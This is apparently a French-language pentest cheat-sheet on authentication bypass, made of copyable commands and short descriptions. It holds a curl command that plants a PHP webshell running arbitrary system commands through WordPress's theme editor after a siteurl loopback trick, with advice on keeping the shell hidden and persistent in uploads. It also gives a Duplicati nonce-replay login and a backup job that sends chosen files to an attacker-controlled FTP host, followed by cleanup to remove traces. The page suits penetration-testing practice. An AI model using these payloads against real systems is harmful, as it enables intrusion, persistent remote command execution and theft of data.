Pentest Web

Bypass d'authentification

Contourner un mécanisme de vérification applicatif plutôt qu'un vrai contrôle d'accès.

Self-test loopback (WordPress Theme Editor)

Copy command
# Réglages > Général: siteurl/home -> http://127.0.0.1:$PORT/wordpress, puis se reconnecter (nom du cookie de session dépend du hash de siteurl)

Description: Après édition d'un thème, WordPress fait une requête loopback vers admin_url() pour vérifier l'absence d'erreur fatale ; si le serveur ne peut pas se joindre lui-même via son IP externe (NAT), l'édition est annulée. Rediriger temporairement siteurl vers localhost fait passer ce test.

Copy command
curl --connect-to $TARGET:80:127.0.0.1:$PORT -b cookies.txt $TARGET/wp-admin/theme-editor.php --data-urlencode 'newcontent=<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);die();}'

Description: Spoofer le Host vers 127.0.0.1 côté attaquant (curl --connect-to) tout en réutilisant la session, pour rejouer les requêtes admin dans le contexte loopback validé.

Copy command
# payload en tête de fichier juste après <?php, pas en fin de fichier

Description: Si le thème est restauré/reset périodiquement, redéposer le webshell dans un répertoire non surveillé (ex: wp-content/uploads/) pour un accès persistant.

Rejeu de challenge-response (Duplicati)

Copy command
curl -X POST $TARGET:8200/login.cgi -d 'get-nonce=1'

Description: Le protocole d'auth legacy de Duplicati 2.0.x (challenge-response) ne demande jamais le mot de passe en clair : si le server-passphrase (ou son salt) a fuité ailleurs (ex: backup de sa propre config), on peut rejouer l'auth sans jamais le casser.

Copy command
noncedpwd = base64(SHA256(base64decode(Nonce) + base64decode(server_passphrase)))

Description: Calcul du password de session à partir du nonce et du secret déjà connu ; POST /login.cgi avec ce noncedpwd renvoie {"Status":"OK"}.

Copy command
# abuser un job de backup légitime existant: nouveau job Sources=/path/to/flag TargetURL=ftp://<host contrôlé>

Description: Une fois authentifié sur l'API REST, créer un nouveau job de sauvegarde ciblant un fichier arbitraire vers un serveur qu'on contrôle est souvent plus fiable qu'une RCE directe : exfiltration via un canal de sauvegarde légitime, à nettoyer après coup (supprimer le job, restaurer la config d'origine).